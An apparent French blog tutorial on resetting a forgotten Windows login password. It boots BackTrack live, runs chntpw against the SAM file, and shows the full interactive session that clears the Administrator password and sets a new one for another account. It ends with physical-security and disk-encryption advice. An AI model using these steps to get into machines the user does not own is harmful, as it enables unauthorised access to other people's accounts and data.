Faire sauter un mot de passe de session sur Windows

Il arrive bien souvent dans de nombreux cas, où on retrouve dans ses mains une machine sous Windows verrouillée, et bien sûr, personne ne ce souvient du mot de passe... Et si on le bidouiller un peu ?



Mais comment s'y prendre ?

Premier réflexe, voir si dans les outils de BackTrack il existe un soft capable de faire ce boulot. Et réponse, oui !

Ce programme s’appelle chntpw. Il nous permettra d'enlever simplement le mot de passe du compte (celui de l'admin, tant qu'a faire) de notre choix.
 
 
À l'attaque !

Il faut donc, lancer BackTrack en live sur la machine cible et monter la partition (ici WINSEVEN) du disque-dur qui contient Windows. Ensuite, on lance chntpw dans le menu Applications puis Accessoires → BackTrack → Privilege Escalation → Passwords Attacks → Offline Attacks → chntpw.

root@bt:/pentest/passwords/chntpw# ./chntpw
chntpw version 0.99.6 110511 , (c) Petter N Hagen
chntpw: change password of a user in a Windows SAM file,
or invoke registry editor. Should handle both 32 and 64 bit windows and
all version from NT3.x to Win7
chntpw [OPTIONS] <samfile> [systemfile] [securityfile] [otherreghive] [...]
 -h          This message
 -u <user>   Username to change, Administrator is default
 -l          list all users in SAM file
 -i          Interactive. List users (as -l) then ask for username to change
 -e          Registry editor. Now with full write support!
 -d          Enter buffer debugger instead (hex editor),
 -v          Be a little more verbose (for debuging)
 -L          For scripts, write names of changed files to /tmp/changed
 -N          No allocation mode. Only same length overwrites possible (very safe mode)
 -E          No expand mode, do not expand hive file (safe mode)
See readme file on how to get to the registry files, and what they are.
Source/binary freely distributable under GPL v2 license. See README for details.
NOTE: This program is somewhat hackish! You are on your own!

Comme quoi, il offre pas mal de possibilité, par exemple l'énumération de tous les utilisateurs -l, l'édition du registre -e et un mode interactif avec l'argument -i, ce que nous allons utiliser de suite.


root@bt:/pentest/passwords/chntpw# ./chntpw /media/WINSEVEN/Windows/System32/config/SAM -i
chntpw version 0.99.6 110511 , (c) Petter N Hagen
Hive </media/WINSEVEN/Windows/System32/config/SAM> name (from header): <\SystemRoot\System32\Config\SAM>
ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <lf>
File size 262144 [40000] bytes, containing 12 pages (+ 1 headerpage)
Used for data: 364/193184 blocks/bytes, unused: 11/19424 blocks/bytes.


* SAM policy limits:
Failed logins before lockout is: 0
Minimum password length        : 0
Password history count         : 0


<>========<> chntpw Main Interactive Menu <>========<>

Loaded hives: </media/WINSEVEN/Windows/System32/config/SAM>

  1 - Edit user data and passwords
      - - -
  9 - Registry editor, now with full write support!
  q - Quit (you will be asked if there is something to save)


What to do? [1] ->
1
   // Pour éditer les comptes


===== chntpw Edit User Info & Passwords ====

| RID -|---------- Username ------------| Admin? |- Lock? --|
| 03ea | admin                          | ADMIN  | dis/lock |
| 01f4 | Administrateur                 | ADMIN  | dis/lock |
| 03eb | alain                          |        | *BLANK*  |
| 03ef | frederic                       | ADMIN  |
dis/lock |
| 03ee | guillaume                      |        | dis/lock |
| 03e9 | HomeGroupUser$                 |        |          |
| 01f5 | Invité                         |        | dis/lock |
| 03ec | jacques                        |        | *BLANK*  |
| 03ed | kevin                          |        | dis/lock |

Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrateur]

À ce stade, nous pouvons remarquer qu'il y a :
  • 3 comptes avec les droits d'administrateur (admin vraiment?, Administrateur sans blague et frederic)
  • 2 comptes, alain et jacques, n'ont pas de mot de passe
  • guillaume et kevin, ont un mot de passe, mais n'ont pas les droits
SAM est le fichier qui contient les mots de passes de Windows.

On continue ! 


or simply enter the username to change: [Administrateur] ENTRÉE   // utilisateur par défaut [Administrateur]

RID     : 0500 [01f4]
Username: Administrateur
fullname:
comment : Compte d'utilisateur d'administration
homedir :

User is member of 1 groups:
00000220 = Administrateurs (which has 3 members)

Account bits: 0x0211 =
[X] Disabled        | [ ] Homedir req.    | [ ] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account  | [ ] NMS account     |
[ ] Domain trust ac | [ ] Wks trust act.  | [ ] Srv trust act   |
[X] Pwd don't expir | [ ] Auto lockout    | [ ] (unknown 0x08)  |
[ ] (unknown 0x10)  | [ ] (unknown 0x20)  | [ ] (unknown 0x40)  |

Failed login count: 2, while max tries is: 0
Total  login count: 1

- - - - User Edit Menu:
 1 - Clear (blank) user password
 2 - Edit (set new) user password (careful with this on XP or Vista)
 3 - Promote user (make user an administrator)
 4 - Unlock and enable user account [probably locked now]
 q - Quit editing user, back to user select
Select: [q] > // Pour effacer le mot de passe

Password cleared!

Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrateur] frederic     // On désire modifier le compte frederic

RID     : 1007 [03ef]
Username: frederic
fullname: frederic
comment :
homedir :

User is member of 1 groups:
00000220 = Administrateurs (which has 3 members)

Account bits: 0x0210 =
[ ] Disabled        | [ ] Homedir req.    | [ ] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account  | [ ] NMS account     |
[ ] Domain trust ac | [ ] Wks trust act.  | [ ] Srv trust act   |
[X] Pwd don't expir | [ ] Auto lockout    | [ ] (unknown 0x08)  |
[ ] (unknown 0x10)  | [ ] (unknown 0x20)  | [ ] (unknown 0x40)  |

Failed login count: 0, while max tries is: 0
Total  login count: 0

- - - - User Edit Menu:
 1 - Clear (blank) user password
 2 - Edit (set new) user password (careful with this on XP or Vista)
 3 - Promote user (make user an administrator)
(4 - Unlock and enable user account) [seems unlocked already]
 q - Quit editing user, back to user select
Select: [q] > 2   // On édite un nouveau mot de passe
New Password: newpassword   // Et un mot de passe au choix, un !
Password changed!

Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrateur] !       // Pour quitter, quand le boulot est terminé


<>========<> chntpw Main Interactive Menu <>========<>

Loaded hives: </media/WINSEVEN/Windows/System32/config/SAM>

  1 - Edit user data and passwords
      - - -
  9 - Registry editor, now with full write support!
  q - Quit (you will be asked if there is something to save)


What to do? [1] -> q     // On quitte, pour sauvegarder les modifications

Hives that have changed:
 #  Name
 0  </media/WINSEVEN/Windows/System32/config/SAM>
Write hive files? (y/n) [n] : y      // On sauvegarde
 0  </media/WINSEVEN/Windows/System32/config/SAM> - OK
root@bt:/pentest/passwords/chntpw#

Pour résumer, nous avons effacé le mot de passe de Administrateur, et modifié celui de frederic. Et... Ne pas oublier d'enregistrer avant de quitter !

On relance la machine sur Windows, et on admire !
Il est également possible de donner les droits à un utilisateur et de dévérouiller/activer un compte.


En conclusion, on peut donc en déduire qu’il est totalement inutile de mettre un mot de passe sur Windows, dans le cas où on a un accès physique à la machine.
Afin d'empêcher un intrus de réinitialiser les paramètres du BIOS (et donc faire sauter le mot de passe) en ouvrant l'unité centrale et de booter sur un système live (ce qui lui offrira tous les des droits sur la machine), il faut :
  • Limiter l'accès physique à l'ordinateur salle verrouillée et surveillée des tanks et le GIGN
  • Sécuriser le démarrage de l'ordinateur. Empêcher l'ouverture de la machine, sinon un vilain brigand pourra changer l'ordre de démarrage, virer le mot de passe, ou au faire un Clear CMOS. Un bon gros cadenas sur le boîtier fera l'affaire. Chiffrer les disques-durs est un bon moyen également.

Cerise sur le gâteau, chntpw est compatible avec toutes les versions de Windows.

Aucun commentaire:

Enregistrer un commentaire